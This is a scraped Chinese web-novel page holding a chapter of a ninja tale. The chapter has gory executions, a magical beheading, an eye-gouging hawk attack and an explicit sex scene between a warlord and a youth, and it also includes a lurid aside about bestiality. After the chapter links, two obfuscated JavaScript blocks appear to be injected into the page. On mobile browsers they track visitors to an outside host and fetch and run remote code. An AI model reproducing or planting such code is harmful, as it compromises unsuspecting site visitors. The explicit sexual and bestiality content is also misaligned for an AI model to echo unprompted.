图片载入中

首流

特大字】 【大字】 【中字】 【小字

义熙才获报宠妾阿万,与俊美的侍臣一起私奔的消息,为什么她又突然遭人偷天换日,代替傀儡女忍而丧命呢?

四周的火把,快速地点燃了。

虽然天色尚未落幕,但是十步之外,仍无法辨识容颜。何况经历过如此血腥、残酷的“牛裂之刑”,在场旁观的每一个人,早就胆颤心惊了。再加上奇幻的老者,表演一场钻牛的幻戏,更今人为之忽忽成狂。

可内的叫声使得义熙、侍者、忍者惊慌失措,如同被淹在水中一般窒息。

“真是阿万吗?”

义熙大喊一声。

“快点将尸首带到我的面前来。”

那是一具由胸部裂成两截的狰狞尸体,嘴角因苦闷而歪斜,不错!她就是阿万,不折不扣的阿万。

“你们这些瞎子,连犯人都搞不清楚。”

他忽地一下站起身来,踢倒了床几。

他伸手抓侍卫所持的黄金大刀。

甲贺忍者们立刻将怪老人团团围住。虽然明知对抗这么一个精于忍法的老者,是一点胜算也没有。

蜘蛛丸面对这个头号厉害的人物,心中偷偷思索着。

(他是对方的头领吗?)

也许就是钩幻也斋本人……。

(或者他是钵屋的贺麻?)

没有人知道贺麻首领的真面目为何?眼前的这位老者银白的长须垂至胸前,看来似一株枯木般的不堪一击。

“你真的是……傀儡一族的吗?”

段藏忍不住拔出刀鞘中的利刃。

于是包围的忍者也手露光芒地展示手中的白刃,重重杀气中,白色的刀刃显现耀眼的光芒!

熊熊火光如鬼魅般照在每一个人身上,但是中央的老人,却稳如泰山,连眉毛也不曾动过一下。

“那个潜入阵屋的傀儡女忍到底逃到那里去了?你们居然改抓阿万夫人来代替犯人?”

“这不是我们的手法,而且你的牛裂之刑,也实在太残酷了。”

“你不要狡辩!真是杀人不眨眼的老怪——”

“是呀!使出这般卑鄙的手段。”

“你再也逃不出这重重的包围。”

“我不是故意狡辩。原先我只是想要出来助你们一臂之力,丝毫没有施展阴谋的诡计。”

一问一答,不断在义熙面前进行。

蜘蛛丸想更进一步地盘问老者。

“够了!”

义熙如呻吟般喝止。

“你这个可恶的家伙,今天我要亲手杀死你。”

“哦——”

老人环顾四周,仿佛下定决心。

“我知道今日断无生理……”

“好吧!纳你的首级来吧!”

老人面无表情地伸出脖子。

这好像太容易了。

反而起人疑窦,但是在这般的场面中,没有人会再去仔细分析敌情。

因为在浩瀚的忍术界中,没有人敢自称是“天下第一”的忍法之王。

而甲贺忍者对老人甘愿受刑的话,半信半疑。

然而只有蜘蛛丸心中留下一抹不安,义熙已是箭在弦上不得不发。

老人伸长颈项不疑不惧,义熙的双眼因血气而发红。

他挥起黄金做的大刀。

“呀……”

大刀咻一声,头颅应声而落。

没有人知道义熙对阿万是否还心存爱意。

首级与躯体分离了。

——

但是不可思议的事却发生了。

怪老人的颈口有着碗大的一个疤,鲜血狂泻不止——

然而,在瞬间,这颗头颅突地向上飞起。

方方正正地落在一个人手掌中。

那是老人本身的手。

“……?”

行刑的义熙大骇不已,不觉往后退了一步。

此时,失去头颅的断颈尸身,直挺挺地站立。

可怕的老人居然、竟然捧着自己的头,一步一步开始走动。

走向沙渚的方向——

侍卫们不相信眼前所发生的一切事物,愕然不知所措,这是梦吗?

老人双手捧着头,慢慢慢慢沉入湖水中了。

水漫过他的脚、腰、胸,终于他整个身体都没入水中。

泛起一阵阵涟漪的湖面,给人一种不可置信的感觉。

立刻,湖面又恢复了原有的宁静。

群众又开始起骚动。

义熙终于由游魂中醒悟过来。

“啊!这是幻术!我不相信。”

义熙本身也已濒于狂乱。

但是他还是要使用将军的权威。

“还有一个女人,再把她拖出来!”

然而,他第二次失望了。

小弓当然是跟着免女一起消失的。

阿万夫人由御鹰部屋逃走的事,确实不是傀儡忍者所为。

而且也与小三郎的逃亡没有太大的关连。

俊美的小三郎早就将她迷得浑然忘我,一心只想助他逃亡。

聪明的小三郎,用老鹰锐利的尖嘴,咬断绳索。

由于夜以继日地与这老鹰相处,他和义熙的爱鹰“吹雪”之间,也产生某种亲爱的感觉。

他解开自己身上的绳索。

“你也快解开我的绳索!”

阿万急急地求他,然而他只是冷冷地瞧着她。

“不,我不愿意。”

“你不要对我如此绝情。我心里……始终是牵挂着你的。”

“哈哈哈,你这是从何说起呢?”

“你是什么意思?”

“我们之间本来就不是正常恋情……你早就该将它遗忘,何必耿耿于怀。

他冷笑一声,就离开她了。

小三郎是带着“吹雪”走的。

他不爱那只锐利的老鹰。

而是深怕成为那只鹰追踪的猎物。

甲贺忍者的忍法之一,就是观看暗空中飞翔的老鹰,猜出敌人的位置。

他必须要由将军的势力圈逃出才行。

南江州几乎全在将军的势力范围之内,近畿王国则是安全的。

依据小三郎的性格,他第一个去处即想到京城,但是京城如此遥远。而他,当然只有另找一位将军,作为庇护者。

他是靠一张美俊的脸来过生活。一般依天生丽质来过日子的人,无论是男人或女人,都是无法离开这个老本行。

一度生活在安逸奢华之中,就再也无法重返洗净铅华的日子。

小三郎这个青年,无疑是浅薄的。

尤其身处于战乱及疲弊的社会,稍一不慎,就会淹没在贫困病苦、呻吟的世界,唯一出头的途径,就是凭着非凡的仪表,为君主们的玩物。

小三郎这般意志薄弱的吃软饭男子,当然还是选择同样的未来,这是毋庸置疑的。

于是,他就带着“吹雪”向着艮(东北)方向走去。

目的地是将军的死对头——六角高赖的观音寺城。

甲贺忍者过了半日,发觉小三郎失踪,开始千里追踪。

小三郎真要做到神不知鬼不觉非常困难。

尤其是他生性纤弱一如女子,自然连脚程也不快。

而甲贺忍者追踪,一日可跋涉四十里。

身为一个忍者,不但要对人心收揽术颇有心得,也要培养高度的洞察力。

“小三郎,一定去投靠六角了。”

“对呀!用将军的爱鹰做为礼物。”

这个推理是再简单不过了。

尤其是小三郎这般浅薄的青年。

两名甲贺忍者玄藏及火渡甚六,也一同前往艮的方向。

到野洲街、日野川为止,都是将军义熙的势力范围。

六角氏的老巢观音寺山,就视此河川为敌我界线。

河川的两岸,也就是现在的横关村,古时分为东西两侧,敌我的势力就在此一进一退,有时将军势力,退到小筱原边,六角军队则退到瓶割山之后,然而六角是绝不让敌人越过野洲川的,虽然自己也不能侵犯六枚桥。

有时,在数日间,刚逢花朵盛开的季节,两岸连句喊话声也没有,马蹄之声更是稀少,各处于胶着状态中。

虽然这是个军事要地,但是大自然却不因而改变分毫,山的颜色或浓或淡,层层翠峦,琵琶湖碧绿地反射太阳的光彩。

两军各在要地设置关卡,以盘问过往的行人商客。

事实上,小三郎是十分幸运的。

因为许多欲一睹“牛裂之刑”的人潮,不断往西边涌去。

有些贩夫走卒还曾悄悄的低语交谈——

“六角不晓得会不会趁这次的骚动,而……”

每个过往商客的眼睛还是雪亮的。

小三郎以一个将军的弄臣身份,是否能逃得过重重关卡呢?

虽然他在路上抬到一顶破斗笠戴上,情况还是非常险恶,不如改扮女装吧!

他是个年轻的英俊小生,改妆扮成女子,根本不是件难事,就这么决定好了。

不久,他在破瓦地附近,遇见一个头脑有些昏乱的姑娘,她似是智能不足的痴呆儿。

“我给你好东西看看,你过来一点。”

他将她诱至路旁的石佛后面。

石怫是一对男女合抱,状极淫虚的性爱之神。

不久,由石像后草丛中,走出一个娇俏的姑娘。

小袖外衣似乎短了一点,不过这不妨害她的美貌。

她的粉颈看来白嫩得可以捏出水来。也许旁人还会认为她是个未经人事的小处女呢。

在途中,他又拾取另一顶斗笠。

不,他是由午睡中的旅行商人处偷来的。

他也深觉意外,自己竟做出这般大胆的事。

一个人在危急之时,恐怕就会做出平常匪夷所思的事情吧!

鹰不断地盘回在小三郎的头上。

偶尔,会先飞至巨木树梢上等候着他。

刚刚,它犹似通灵般,耐心地在石佛头上,等他由草丛中走出。

只有快快渡过野洲川才安全,他的足步越来越快了。

穿着女装的小三郎,其娇美的模样,自然会引起旁人的侧目。

“小姐,你要到那里去啊!”

“你家在那里呀,我可以送你一程。”

“别害羞嘛!我和你说一句知心话。”

偶尔,有着无聊的村野男子向她搭讪。

由钩里到观音寺,大概有六里半的路程。以他的脚程(女子的脚程),恐怕疲走一日,也无法渡过野洲川。

于是他想出一个变通的办法。

他要从野洲川,渡船而去。在须原之滨,向一名渔夫买了一条小舟。

撒了一个漫天大谎,表示要到常乐寺去探视病重的伯母。

他在逃出御鹰部屋时,阿万曾给他一些细软金子。

手中紧抓着一个怀金香袋,向船家买船过渡。鹰则置于舟舵,一同过渡。

另一方面,玄藏与火渡甚六,也探听出一个穿着小袖的美姑娘曾在石像附近出现。

“他真是诡计多端。”

“这不就是忍术之一——男变女吗?”甚六的声音中合着深深的讥讽。

“不,凭他绝不可能学会什么忍术,只不过凭其英俊的外貌,妆扮成女子罢了。”

他们没忘记问了一下小袖衣上的图案。

又听到那个女子沿川而下,更确定两人的猜测。

“还好,我们没走错路。”

“时间应该还来得及吧!”

两人开始疾走赶路。

他们都是甲贺、猿子一党的人,要渡过野洲川,应选在十五号月圆之日,不过一旦潜入敌境,就要凡事小心了,千万不能大意。两人的目标是——丰浦。

在宇津吕边,遇见两个恶棍在赌钱,不用分说三两下就将他们解决了,且剥下他们的衣物,化装成走卒模样。当两忍者离去的时候,地上的两具死尸,还像在睡午觉一般,嘴角含着笑意。

终于,两人在丰浦发现了小三郎的踪迹——

小三郎被数位侍卫抓住,正带往城内去。

“糟了!太迟了。”

“没关系,我手中有剑,可以上前结束他一条小命。”

“不,不行这么做!”

“为什么?我绝不会失手的。”

“可是,我们也回不去了。绝对逃不出他们的重重包围。”

用小三郎来换两人的性命,是多么不值得呀!

这样做是不智的。他们还要顾虑到,是否能够功成身退。

“这种事是急不得的。”

甚六一张安慰的脸。

“等到入夜时分再行动吧!你看这云的行走之向。或许马上就会下雨了,我们可以慢慢等待的。”

“只好如此……就依你吧!”

玄藏也点点头,小三郎的身姿是多么像一个女子啊!他的粉颈真白!

“——什么,你是由钩之阵所逃出的?”

这正是六角的高赖洗澡的时候。

而雾朦胧的天气,城内树木的颜色更深了。

六角的身材就像是仁王一般,是十分魁梧的,因此时常就汗水淋漓,一天必定要沐浴三次,才能清爽。何况今天花朵都盛开了,表示今天温度一定很高。

刚好,昨天六角又在贩夫走卒之间,听到钩之阵所举行牛裂之刑的消息。

“不许再传出这种谣吉,如果有人喜欢牛裂之刑,我就先拿他开刀。”

虽然六角禁令百姓们讨论这种事,但是并不是光靠禁令就能杜绝一切影响。

而且现在他又听说出钩之阵所逃出一名美人。

“会不会是奸细呢?我们要特别小心才对。”

他两眼十分有神,可见是个贤明的人。

“我们已经调查过他了,且带他到此处来。”

“到……这个地方来?”

“他是个柔弱的青年,应该玩不出什么花样来的。”

一个扮成美女的青年,而且不曾怀有任何兵器刀剑。

“——哦——”

高赖浓而黑的眉毛下,是对明亮的大眼睛,现在这封大眼睛正睁得骇人。

不久,这名不速之客便被带至他的眼前。

然而,俏生生站在眼前的是一个美貌的少女。真美,而且魅力十足。

“他真的是男人?”

“不错,我们搜过身了!”

“搜过?”

高赖大脚踏出了沐浴的大水桶。

虽然在城内的宫殿中,有非常豪华的浴池,但是由于夏天天气炎热,所以他宁可露天,享受一下凉风的味道。

庭前的巨大椎木下,排着他的鞋子,由于桶中溅出一些水花,而有些潮湿。

虽然桶前挂着家纹的幔幕,然而他却是个豪放的战国大将,具有强健的阳性体魄,所以一点羞耻心也没有。

“你叫做小三郎吗?”

“是的,大人……”

“我听说你受到义尚的宠爱,是他的宠臣。”

义熙未改名前即叫做“义尚”。高赖毫无顾忌地直唿他以前的名字。

“是的,大人!请大人救救我吧!我是受不了他非人的虐待,才逃出来的。”

小三郎哀求着,一张白净的脸是如此明艳,全身散发着妖媚的风情。

“真的是男子吗?我倒要好好看看,你站起来。”

高赖说着,抓起他小袖的衣袖。

当战争陷于胶着状态的时候,奸细破坏的活动力也就增强了。即使对眼前这个柔弱的男人,也丝毫疏忽不得。

而且男性忍者可使用“男变女”忍法,而幻作成娇媚的女人,这一点更不得不防。

古时,是个男色淫风的朝代,一般不近女色的武将身边,总是不乏美貌的男童或弄臣,这并不是变态的色情趣味,而是另一种新鲜的欲望。

武将兜下是个宽广有力的胸膛,其刚猛之气,只有靠美貌的男童才能化去。

男童们淡扫峨眉、胭脂调匀,一头浓密的秀发,再穿上华美的水袖,顿时玲珑有致的身段忽隐忽现,美不可言,这正是人人喜爱谈论的趣味话题。

其中最有名的男童弄臣即是丰臣秀次的小姓不破伴作及蒲生氏乡的弄臣名古屋山三郎,艳名远播。

这真是个变相的时代。

所有的兵法——刀技、枪术等等都是武士傲于表现的武艺,这是战国时代的风尚,但是到了乱世,没有人奢望弄臣们会习得一身好武艺。

现在——

(他真的是忍受不了将军的虐待,所以才逃出来的……)

小三郎的眼中会着晶莹的泪珠,这使他看来更有诱惑力。

(美若天仙——)

高赖神往之余,仍然极力收心。

(可是,会不会是一场骗局呢?)

高赖虽然是个豪放的大将,但也不是泛泛之辈。

(如果他是女忍……妆扮的,我就绝不饶他!)

一思及此,高赖紧抓着小三郎的水袖。

“好了,你到众人面前来!”

小三郎袅袅站起,当真是个万种风情的女人。

高赖望着他的背后,不假思索地放开手。

“——你拒绝吗?”

“不是……而是,我真的就是小三郎。”

“——那么,你就解开衣襟吧!”

“……”

“证明你是个不折不扣的男人。”

小三郎一扬水袖,就如同嫣红的枫叶散乱一地。

弄臣的习性,他们的一举一动都带着撒娇的意味。

他窄窄的双肩,肖似女人的瓜子脸,小巧而殷红的双唇,含愁带晕的双眉,清亮的星眸,再加上那一身白晰,天呀!这怎么可能是个男人呢?

(他真是个男人吗?)

高赖的胸毛一颤。

在小三郎伸手去解衣带的刹那,高赖的脸涌上一阵红潮。

他因兴奋,而感到下体急遽膨胀。

“快点!不要犹豫!”

小三郎一听到沙哑的吼声,便依言拉开衣襟。

“啊!”

白色的胸膛——上面没有一丝突起。是平板的胸部,在场每一个人的情欲,顿时消失得无影无踪。

此际,头上突然有鸟儿拍翅的声音,同时掠来一阵腥臭的味道。

原来是一头凶猛的老鹰,带着锐利的目光,由仰头的高赖面前飞来。它的翅膀是如此强健有力,并且散发一股煞气。

“哼!是一只怪鸟……。”

左右的侍卫,准备要抓住它。

“啊!”

他们用八角棒想将它击落。

然而这不是一只普通的鹰,经过数百坎的打击,它仍然用一双极其敏锐的眸子,注意下方的变化,在它飞过的痕迹中,飘下空中的微尘。

是风儿在低泣吗?

鹰在空中翻舞回旋,然而一再冲刺。

这只鹰当然就是义熙的爱鹰“吹雪”。

它是不是心怀怨恨呢?怨恨高赖对小三郎的侮辱?它凶猛的野性,因着八角棒的攻击而更加激烈了。

“看棒!”

蓦地有人当头棒下!

但是却击中了高赖沐浴的大桶。

“巨云,搏杀它!”

“是!”

巨云是个红脸的大汉,他将手中的八角棒舞得乱飞,在四面八方、空中、地下,不断转动,一点也不感到疲倦,但是鹰却不为所动,仍然自在地飞翔,反倒是巨云越来越气喘,就像一具狂舞的木偶。

巨云一棒击下,打中了沐浴的大桶,立刻桶板破裂,水流了一地。

“好畜生!”

巨云因气恼而面带杀气。

他趁隙击去这当儿,那只鹰应该跑不掉了吧!椎树的叶子因碰着棒子,落叶飘了一地。蓦然向上疾飞的老鹰,一个抢攻,尖利如刀的爪子,袭向巨云的脸。

仁王像般的脸,马上就溅上粒粒血珠。

恐怖的悲鸣,是由乱飞的鹰口中发出的吗?

巨云丢出了八角棒,用双手掩着脸,整个人摇摇欲坠。

“嗯,真是怪鸟!”

多谋的高赖,自然早就安排好弓箭手,只等一个先机,就命令弓箭手们瞄准猎物射出!

那只鹰,刚刨出了巨云的双眼,心中有些得意和疏忽。

它只飞了三尺高,两只鸟脚还沾了刺目的鲜血!这时绑着白线的弓箭就向它袭来!

第一支箭,射中了“吹雪”的尾巴。

它由树稍向上翩舞,旋即就失足落下,这倒不是因为尾巴受伤的关系,而是由于受到惊吓的缘故。

在它神智尚未清明之际,第二支箭,立刻追踪而至,这一次它当然逃不过了。那一箭,是由高赖的箭筒中发出的,刚好射入“吹雪”的腹部——并且贯穿它黑斑的背部。

哀鸣的“吹雪”终于如雪片一般坠地了,身上一半都染满了血腥。

“让你见识一下神射手的厉害!”

“是呀!我们的主君真是好本领!”

“百发百中,就像神明一般。”

随从们一人一句谈论起来。

但是高赖,却始终心平气和地。

“你们还记得吗?去年的秋天,我也是一箭,就射穿了那个号称“将军之楯”的将领恶源太典膳!他的眉宇间顿时开了血花!”

终于,他有些得意了!

“是呀!诸国大将,那一个不佩服主君的骁勇善战?”

“哈哈哈哈,有一天我会收服那一个无能的将军!”

“当然!”

老臣佐佐木大炊介,用跪行进谏。

“这个看起来像女子的男人,若长久停留在大人您的身边,恐怕会有害。

将军(义熙)是一个奸诈的人,或许他早就故意训练那只老鹰,前来攻击大人!”

“也许是如此,也有这种可能。”

“我想提供一个建议,那就是最近,有关于牛裂之刑的传说大肆喧腾,义熙残忍的暴行,早就让许多人为之心寒,倒不如我们趁此机会反攻,血洗钩之阵所!”

“这个嘛!”

“这是个不可多得的良机呀,大人!”

好战的臣子不断鼓吹,意图发起一场战斗。

“好吧!就选今夜!”

高赖的眼中燃起一股杀戮的凌厉光芒。

今日射下的老鹰,就当作那是一次吉兆的血祭吧!

“好!叫每个人都准备好!”

“这是一场总攻击,今夜赌命一搏,只准成功不准失败!”

“遵命!”

老将满是皱纹的脸上,扬起了嗜武的喜悦。

巨云大汉,空洞的眼中,犹自泛着血水。

善于疗伤的医生,暂时先止住他的血脉,只见他的脸上,尚留有鹰爪的痕迹。

对高赖而言,巨云无疑是个忠心耿耿的武士。

“你一定要好好治疗他!”

医师再拜而去。

“报告大人,准备去讨伐将军的大军,都在寺中准备妥当!”

以观音寺为中心的大军,个个雄纠纠气昂昂。

他们在一夜之间就已武装完毕。

高赖召集诸将,开始画出进攻的军事图,研究夜袭的方法。

昔日的将领们要开战之初,必先研习一番,才能发动兵马。

预计兵分五路,一路由湖上进行,是为水军。另一路迂回山路,由南方冲过边境。

主要三军由高赖亲自率领。

首先,先锋军,要由街道进击,以比翼的阵型杀敌。

敌人先逢一军,战线必由长而广,由厚而薄,到时候再增援后备铁骑,形成一强大军团,突围而入。

只要能冲破敌阵,乘着一片混乱,必能一鼓作气打到钩之本阵。接下来,就是湖上水军,一但上岸,就配合山路的迂回军队,由侧面奇袭,这样就能一一瓦解敌人要害,攻破敌营。

高赖对这个战法十分满意。

“不久之后,钩之阵所,就成了我囊中之物。”

他傲气冲天,伸手去取酒杯。

“中国的“孙子”虽然善用奇兵,并且要人千万不可泄密,但我以迅雷不及掩耳的方式出兵,不消半日就能够马到成功,何来泄密之有?”

“大人,我们这样会不会太仓促了?”

“哈哈哈,没有问题的。到了明天早上近江之区就在我的手中了。”

他一仰而尽。

他派出猛将菅野右近率领迂回之军,派出奥岛大膳太夫统领水军。

山路迂回绝不怕遭敌人发现。而水军则在江上,易遭窥探,则应在天色完全昏黑后,再行上路。

他预定攻打钩之阵所的时间,是子时上刻。

时是弥生二十六日,月亮出来的时间很迟,应是丑之刻,但是月出之前的漆黑昏暗,正有助于奇袭部队的进攻。

他分配已定。

“我稍微打一个盹。”

高赖在床几边坐下。

也许旁人会认为在战前稍作休息,是一个豪放武将的作风,但是事实则不然,因为萦绕在高赖心头,挥之不去的竟是美少年细嫩的皮肤。

也许美少年的胸膛和下腹部与一般女子不同,然而他(小三郎)穿上女装时的娇俏风情,却是旁的女人所及不上的,因此美少年的丰姿,一直在这名外表威武的大将胸中翻腾着。

当然这与女体的感觉不同。

虽然同为男性,但是他的肌肤比女人更为滑嫩、柔软、温暖——这般新鲜的欲望简直要让他爆炸起来。

“他……如果是个奸细,杀了也可惜。不如暂时拿来安慰一下吧!”

高赖想着小三郎菱花角的双唇。

将嘴唇比喻成“菱花”也许稍嫌俗气了一点。

但是,那个男子的双唇,确实给人一种花朵的联想,而且还飘着浓郁的芳香呢。就像是不知何处飘来的沈丁花香——侵入高赖的寝所中。这是不是就是命中注定呢?

这种以卖色维生的男子,身体就是他的武器,但是许多人就靠这武器出人头地,如后世的柳泽吉保,就广为人知。

在修罗乱世中,大力士以其蛮力纵横武场,才华洋溢的文人,以笔作为进身之阶,而容色绝美的男子,当然就只好以美貌来迷惑主人,以保身家。

虽然小三郎因得罪义熙,而逃至敌军阵所,是一种卑劣的行为,但是手无缚鸡之力的小三郎却一点犯罪意识也没有。当他进入高赖寝所,侍卫都已退去,他即使想要行凶,然而一双纤手却是什么都作不得的。

“过来!”

此时此刻,再无需多费唇舌。

坐在褥上的高赖,脚上仍绑着绑腿,却已不耐烦地催促着小三郎。

因为高赖的股间已因期待而高涨。

“是,遵命……”

小三郎在高赖的跟前,就如小狗一般顺从。

许多住在巴黎的名媛贵妇,她们拥有自己私人的犬屋,就像是寡妇的大屋一般。因为女人即使生活在安逸中,在生理上也有强烈的需要。那些受过特殊训练的爱犬,在被送到女主人房前,早就拔去锐利的牙齿,所以它们唯一的武器,就是湿润的舌头。淫荡的女人,在尝过它们舌头的滋味之后,就不会考虑再婚了。因为她们已知道快感的极致,再也无法以平淡的性爱为满足。

现在,小三郎的举动,就与爱犬没有什么两样。我们不知道巴黎是否也有专为男性使用的爱犬。小三郎第一次体会到性的欢愉,是和义熙枕旁那一个放荡的宠妾——阿万。对于女体,他更是驾轻就熟。

小三郎卑屈得就如一只小狗,现在唯一的任务,就是去取悦这个张开大腿的男人。

小三郎的双颊赤红地燃烧着。或许这股热力,也传到了高赖的双腿内,在这样一个淫乱的画面中,少年的羞怯,已使得威武的男人,得到嗜虐癖的满足。

“——你这个小东西。”

高赖由喉咙低浊地喊出一句。

他不由自主地低头悄望。

用一只大手掌抚着小三郎白嫩的颈部,这名美丽的青年,有着一头丰润的黑发,用手抚来更为撩人,终于高赖的口中发出断续的呻吟。可是这个已达颠峰的快感,却被不解风情者打断了。

“主君!大事不好了!主君!”

门外,是贴身侍卫的焦急唿唤声。

下腹部的快感是如此美妙啊!他真不愿停止。

“到底发生什么事?”

“对不起,防碍您安眠了。事实上是有忍者潜入我们的大屋。”

“忍者?你们这些饭桶到底是作什么用的?”

无可奈何!高赖只得执起床边的快刀,推开门来到廊下。

“报告主君,已有二十名侍卫在全力追查中。”

“有没有发现来人行踪?”

“还没有……濑木和三轮都去追缉他了。”

“好吧!叫他来得去不得!”

华灯初上。篝火明亮地闪动摇曳的光辉。紧张的气氛紧紧包围着大屋。高赖唤来十八名武术高强的勇士,层层防卫着他的寝所。然后,他再回到那一张满是绮梦的床上。

刚才被熄灭的欲火又被撩起。两片如花的嘴唇,在他的下身钻动、吸吮。

“你……”

也许,他已经开始感受到舌头的魅力了吧!但是很奇怪地,高赖突然感到腿间一阵温热,是有什么奇怪的液体流出来了呢?

他凝目一望,发现小三郎粉白的颈项上,似有一道红色的丝线切过!

高赖大骇而起,小三郎的头应声而落,与躯体分离,猛地如喷泉般洒出的鲜血,立刻染红了干燥的地面。


上一篇:十六乳房

下一篇:火焰阵


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};